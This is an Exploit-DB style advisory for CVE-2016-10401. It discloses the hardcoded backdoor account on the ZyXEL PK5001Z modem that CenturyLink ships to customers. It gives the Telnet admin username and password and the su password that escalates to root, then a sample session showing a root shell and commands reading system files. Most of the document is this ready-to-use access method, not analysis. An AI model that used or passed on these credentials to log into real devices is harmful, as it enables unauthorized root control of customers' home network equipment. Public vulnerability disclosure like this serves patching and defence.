ZyXEL PK5001Z Modem - Backdoor Account

EDB-ID: 43105
Author: Matthew Sheimo
Published: 2017-10-31
CVE: CVE-2016-10401
Type: Remote
Platform: Hardware
Vulnerable App: N/A

 # Google Dork: n/a 
# Date: 2017-10-31
# Exploit Author: Matthew Sheimo
# Vendor Homepage: https://www.zyxel.com/
# Software Link: n/a
# Version: PK5001Z
# Tested on: Linux
# About: ZyXEL PK5001Z Modem is used by Century Link a global communications and IT services company focused on connecting its customers to the power of the digital world.
# Linked CVE's: CVE-2016-10401

Hardcoded password for ZyXEL PK5001Z Modem, login with the following credentials via Telnet

username: admin
password: CenturyL1nk

Escalate to root with 'su' and this password.

password: zyad5001

[root:/]# telnet
Connected to
Escape character is '^]'.

PK5001Z login: admin
Password: CenturyL1nk
$ whoami
$ su
Password: zyad5001
# whoami
# uname -a
Linux PK5001Z #54 Wed Oct 14 11:17:48 CST 2015 mips unknown
# cat /etc/zyfwinfo
Vendor Name: ZyXEL Communications Corp.

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